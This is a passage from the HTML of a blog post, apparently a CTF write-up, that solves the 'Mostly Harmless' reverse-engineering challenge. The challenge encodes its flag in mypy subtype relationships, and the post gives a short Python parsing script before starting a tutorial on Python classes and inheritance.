&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-shell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-shell&quot;&gt;mypy output.py&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;output.py&lt;/code&gt;: A template file full of class declarations and inheritance. Utter gibberish on first sight.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can follow along by getting these files &lt;a href=&quot;https://github.com/TrebledJ/ctf-binaries/tree/main/maplectf-2023/mostly-harmless&quot;&gt;&lt;em&gt;here&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;solve&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#solve&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solve&lt;/h2&gt;
&lt;p&gt;What? A section titled &amp;quot;solve&amp;quot;? Already? What about the usual analysis and observations?&lt;/p&gt;
&lt;p&gt;Usually I begin my writeups with an extensive analysis section. Contrary to this, &lt;em&gt;Mostly Harmless&lt;/em&gt; is one of those blursed challenges which favours those with strong guess-fu; but the challenge is so intellectually challenging and &lt;em&gt;&lt;strong&gt;deep&lt;/strong&gt;&lt;/em&gt;, that to properly reverse (let alone understand) it would take &lt;s&gt;a PhD,&lt;/s&gt; &lt;s&gt;years,&lt;/s&gt; extra study post-CTF.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;The key idea is to recognise:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;How does the flag checking work? Where is the final condition which decides whether the input is correct or not?
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;By using the mypy type checker.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;How do the classes containing numbers (e.g. &lt;code&gt;QLW_s1&lt;/code&gt;, &lt;code&gt;QRW_s1&lt;/code&gt;) relate to the classes containing a letter (e.g. &lt;code&gt;L_x&lt;/code&gt;, &lt;code&gt;L_a&lt;/code&gt;)?
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;By inheriting classes &lt;em&gt;in a specific manner&lt;/em&gt;, therefore creating a subtyping relationship.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Still, let&#39;s look at some key insights:&lt;/p&gt;
&lt;!-- - `output.py` contains a bunch of `class` declarations: these indicate subtype relationships. --&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The final line of &lt;code&gt;output.py&lt;/code&gt; is built by stacking input in a recursive fashion:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;L_&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;INPUT&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; L_&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;INPUT&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Thus, &lt;strong&gt;characters are encoded by the &lt;code&gt;L_*&lt;/code&gt; classes&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The chain also begins (or ends?) with &lt;code&gt;QRW_s29&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;There are a bunch of &lt;code&gt;Q*_s*&lt;/code&gt; classes, numbered from 1 to 71. Indices, perhaps? Or just references?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Any clue to the relationship between these symbols? Yes! We see interesting stuff from lines 320 to 459.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Line 378.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;QL_s29&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Generic&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;T&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; L_n&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;N[QLW_s31[L_x[N[MR[N[T]]]]]]&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#          │               │          │&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#          │               │          └── Next number&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#          │               └── Next letter in flag&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#          └── Current number&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And guess what? That&#39;s all we need! Just follow the numbers like how Alice follows the White Rabbit!&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Naur way!!!&quot; href=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/shocker-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-45&quot; src=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/shocker-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 553&quot; alt=&quot;Shocked meme. That feeling when Mostly Harmless is an eyesore, but is actually pretty harmless.&quot; title=&quot;Naur way!!!&quot; srcset=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/shocker-256w.webp 256w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/shocker-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Script&lt;/h3&gt;
&lt;p&gt;The solve is rather simple and fits within 25 lines (including comments!).&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; re

&lt;span class=&quot;token comment&quot;&gt;# Extract the lines containing pointers(?)/relationships between letters.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;output.py&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    lines &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;readlines&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;319&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;458&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Skip every 2 lines, bc redundant info.&lt;/span&gt;

lookup &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Parse and store the relationships in a lookup map.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; line &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; lines&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    curr_idx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; char&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; next_idx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; re&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;findall&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;r&#39;Q._s(&#92;d+)[^ ]+, L_(&#92;w).*.W_s(&#92;d+)&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; line&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    lookup&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;curr_idx&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;next_idx&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; char&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Follow the pointers until we hit 71.&lt;/span&gt;
idx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;29&lt;/span&gt;
flag &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; idx &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;71&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    idx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; c &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; lookup&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;idx&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    flag &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; c

&lt;span class=&quot;token comment&quot;&gt;# Profit!&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;maple{{&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;flag&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;}}&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Flag&lt;/h3&gt;
&lt;details&gt;&lt;summary&gt;Lé Flaggo&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-txt&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-txt&quot;&gt;maple{no_type_system_is_safe_from_pl_grads_with_too_much_time_on_their_hands}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;C++ template metaprogramming reverse when?&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;We&#39;re done. We got the flag. But my curious side wants to dig deeper.&lt;/p&gt;
&lt;p&gt;So let&#39;s go deeper! The rest of this post attempts to dissect the type theory behind the challenge, starting from basic principles.&lt;/p&gt;
&lt;h2 id=&quot;back-to-the-basics&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#back-to-the-basics&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Back to the Basics&lt;/h2&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;This section attempts to bolster the reader&#39;s understanding of programming and type theory in order to understand the nitty-gritty of the challenge. If you&#39;re comfortable with types and variance, feel free to &lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#metaprogramming-with-type-hints&quot;&gt;skip to the next section&lt;/a&gt;. If you have any questions, do &lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#comments&quot;&gt;let me&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/#contact&quot;&gt;know&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;classes&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#classes&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Classes&lt;/h3&gt;
&lt;p&gt;Classes are a fundamental concept in object-oriented programming (OOP) that allow us to define objects with attributes (variables) and behaviours (methods/functions). They serve as blueprints or templates for creating instances of objects. In the functional realm, classes are used to create new types.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;From here on, &lt;em&gt;class&lt;/em&gt; and &lt;em&gt;type&lt;/em&gt; are interchangeable.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Here&#39;s an example:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Declare a new class called Challenge.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Challenge&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# __init__ is a magic method called automatically when an instance is created.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;__init__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; title&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; description&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;Creating challenge &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;title&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;...&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;title &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; title
        self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;description &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; description

&lt;span class=&quot;token comment&quot;&gt;# Create instance of our class.&lt;/span&gt;
chal &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Challenge&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Mostly Harmless&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;A totally harmless reverse challenge abusing Python types.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Prints &quot;Creating challenge Mostly Harmless...&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;But we&#39;ll stay relevant to the challenge and keep things simple by declaring classes without a meaningful body. Let&#39;s not worry about fancy Python methods and class mechanics.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# This also declares a class called Challenge.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Challenge&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;...&lt;/code&gt; (ellipsis) usually denotes an empty implementation.&lt;/p&gt;
&lt;p&gt;Classes can do a lot more, but for now this explanation suffices.&lt;/p&gt;
&lt;h3 id=&quot;inheritance&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#inheritance&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Inheritance&lt;/h3&gt;
&lt;p&gt;Inheritance is a mechanism in &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Object-Oriented Programming&quot;&gt;OOP&lt;/abbr&gt; that allows a class to inherit attributes and behaviour from another class. The new class is called a &lt;strong&gt;subclass&lt;/strong&gt; or &lt;strong&gt;derived class&lt;/strong&gt;, and the class being inherited from is called the &lt;strong&gt;superclass&lt;/strong&gt; or &lt;strong&gt;base class&lt;/strong&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Here, &lt;code&gt;Reverse&lt;/code&gt; is a subclass of &lt;code&gt;Challenge&lt;/code&gt;, and &lt;code&gt;Challenge&lt;/code&gt; is a superclass of &lt;code&gt;Reverse&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Semantically, a &lt;code&gt;Reverse&lt;/code&gt; is also a &lt;code&gt;Challenge&lt;/code&gt;, but the inverse does not always apply.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;isinstance&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Reverse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Reverse&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;# A Reverse is a Reverse. (Duh.)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;isinstance&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Reverse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Challenge&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# A Reverse is also a Challenge.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;isinstance&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Reverse&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Supertype is not a subtype.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy 